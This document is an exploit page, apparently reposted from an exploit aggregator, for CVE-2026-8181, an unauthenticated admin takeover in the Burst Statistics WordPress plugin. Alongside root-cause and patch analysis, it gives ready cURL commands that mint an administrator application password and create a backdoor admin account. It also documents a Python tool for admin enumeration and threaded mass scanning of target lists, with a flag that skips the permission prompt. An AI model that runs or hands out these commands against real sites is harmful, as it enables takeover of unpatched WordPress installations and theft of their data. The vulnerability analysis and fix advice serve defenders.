Share
## https://sploitus.com/exploit?id=522B1603-6593-5EFB-BAA4-98CDE9B1D859
# CVE-2026-8181 โ€” Burst Statistics 3.4.0 โ€“ 3.4.1.1 โ€” Authentication Bypass to Admin Account Takeover

**Vulnerability Summary**

The WordPress plugin **Burst Statistics** versions **3.4.0 to 3.4.1.1** is vulnerable to an **unauthenticated authentication bypass** vulnerability that leads to full **administrator account takeover**. This critical flaw allows an unauthenticated attacker who knows any administrator username to mint a valid WordPress Application Password for that account in a single HTTP request, achieving persistent admin-level access to the entire site.

The vulnerability stems from the `is_mainwp_authenticated()` function in `class-mainwp-proxy.php`. This function calls `wp_authenticate_application_password()` and only checks whether the result is a `WP_Error`. It does **not** verify whether the result is actually a successful `WP_User` object. When WordPress's internal filter `application_password_is_api_request` returns `false` โ€” which happens when the call is made outside the normal REST API authentication flow โ€” the WordPress function returns `null` instead of a `WP_Error` or `WP_User`. Because `null` is not a `WP_Error`, the check passes, and the attacker's chosen admin user is set as the current user via `wp_set_current_user()`.

Once the current user is switched to an administrator, subsequent capability checks pass. The attacker can then reach the `/burst/v1/mainwp-auth` REST endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent, full admin-level access.

**Affected Plugin**

| Field | Value |
|---|---|
| **Plugin Name** | Burst Statistics โ€“ Privacy-Friendly WordPress Analytics |
| **Plugin Slug** | `burst-statistics` |
| **Affected Versions** | 3.4.0 โ€“ 3.4.1.1 |
| **Patched Version** | 3.4.2 |
| **CVE ID** | CVE-2026-8181 |
| **CVSS Score** | 9.8 (Critical) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Vulnerability Type** | Authentication Bypass (Improper Authentication) |
| **CWE** | CWE-287 โ€” Improper Authentication |
| **Impact** | Full Site Takeover โ€” Admin Account Takeover |

**What Attackers Can Do**

| Capability | Impact |
|---|---|
| Mint Application Password for any admin | **Persistent Admin Access** |
| Create new admin accounts via REST API | **Account Proliferation** |
| Install plugins / themes | **Remote Code Execution** |
| Edit posts, pages, and settings | **Site Defacement** |
| Export or delete all site data | **Data Destruction / Exfiltration** |
| Access WooCommerce / customer data | **Data Breach** |

**Technical Analysis**

### Plugin Initialization and the Vulnerable Gate

Burst Statistics initializes during WordPress's `plugins_loaded` hook at priority 9, inside `class-burst.php`:

```php
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}
```

`has_admin_access()` is the gatekeeper for all admin functionality. It checks for the `X-BurstMainWP` header and calls into the vulnerable function:

```php
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}
```

### The Vulnerable Function: `is_mainwp_authenticated()`

```php
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error โ†’ PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}
```

### Why `wp_authenticate_application_password()` Returns `null`

WordPress internal function `wp_authenticate_application_password()` has a filter:

```php
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}
```

When called **outside** the REST API authentication flow, this returns `null`. The Burst Statistics code only checked `is_wp_error($is_valid)` โ€” `null` is not a `WP_Error`, so the check incorrectly passes.

### Execution Path to Admin Takeover

1. Attacker sends `X-BurstMainWP: 1` header with any request
2. `has_admin_access()` triggers `is_mainwp_authenticated()`
3. `wp_authenticate_application_password()` returns `null` (not in API context)
4. `is_wp_error(null)` = `false` โ†’ check **passes**
5. `wp_set_current_user($admin_id)` executes
6. Current user is now the chosen administrator
7. Attacker POSTs to `/burst/v1/mainwp-auth`
8. `handle_auth_request()` mints a WordPress Application Password
9. Token returned as `base64(username:app_password)`
10. Attacker uses this token for persistent admin REST API access

### Patch Analysis (3.4.2)

```php
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}
```

Fixes applied:
- Force `application_password_is_api_request` filter to `true` so actual password validation occurs
- Check that the result is a `WP_User` instance (not `null`)
- Use `hash_equals()` to verify username match

Additionally, the `check_auth_permission()` for the REST endpoint was hardened to require `current_user_can('manage_burst_statistics')` **and** explicit nonce verification for cookie-authenticated requests.

**Proof of Concept**

### Manual cURL

```bash
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&email=attacker@example.com'
```

### Python Exploit Tool

The `exploit_burst_statistics.py` script automates the full attack chain:

- **Phase 0**: Version detection via `readme.txt`, plugin header, or asset query strings
- **Phase 1**: Admin username enumeration via REST API, author pages, or common username list
- **Phase 2**: Auth bypass with `X-BurstMainWP: 1` + fake Basic Auth to mint token
- **Phase 3**: Token verification and structure validation
- **Mass Scanner**: Threaded multi-target scanning with real-time vulnerable target logging

**Exploit Features**

- Unauthenticated โ€” no prior access required
- Single HTTP request to mint persistent Application Password
- Auto-detects Burst Statistics version and skips patched targets
- Auto-enumerates admin username if not provided
- Supports both pretty permalinks (`/wp-json/`) and ugly permalinks (`/?rest_route=`)
- Mass scanning with `ThreadPoolExecutor`
- Real-time file write โ€” vulnerable targets saved immediately without waiting for scan completion
- Thread-safe file locking

**Usage**

### Single Target (Auto-Enumerate Admin)

```bash
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
```

### Single Target (Known Admin Username)

```bash
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
```

### Mass Scan

Create `targets.txt`:
```
target1.com
target2.com:8080
192.168.1.50
```

```bash
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
```

### Options

| Flag | Description |
|---|---|
| `-t, --target` | Single target URL |
| `-l, --list` | File with target list (one per line) |
| `-T, --threads` | Threads for mass scan (default: 10) |
| `-o, --output` | Output file for results (default: `result_burst_statistics.txt`) |
| `-u, --username` | Known admin username (skip enumeration) |
| `-v, --verbose` | Verbose debug output |
| `--timeout` | Request timeout in seconds (default: 20) |
| `--no-confirm` | Skip permission confirmation prompt |

**Fix Recommendations**

For developers and site owners:

1. **Update immediately** to Burst Statistics **3.4.2** or later
2. If unable to update, temporarily disable the plugin
3. After updating, revoke all existing Application Passwords for admin accounts:
   - WP Admin โ†’ Users โ†’ [Admin] โ†’ Application Passwords โ†’ Revoke All
4. Check for unauthorized admin accounts or unexpected user creation
5. Review server logs for requests containing `X-BurstMainWP: 1` header

**Timeline**

| Date | Event |
|---|---|
| 2026-05-08 | CVE reserved |
| 2026-05-11 | Vendor notified |
| 2026-05-13 | Publicly disclosed |
| 2026-05-13 | Patch released (v3.4.2) |
| 2026-05-15 | Active exploitation reported in the wild |

**Researcher**

- Credit: [Chloe Chamberland โ€” Wordfence PRISM](https://www.wordfence.com/threat-intel/vulnerabilities/researchers/chloe-chamberland)

**References**

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover)
- [CVE Record](https://vulners.com/cve/CVE-2026-8181)
- [Patch Diff โ€” class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.2/includes/Frontend/class-mainwp-proxy.php)
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181)

**Disclaimer**

This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.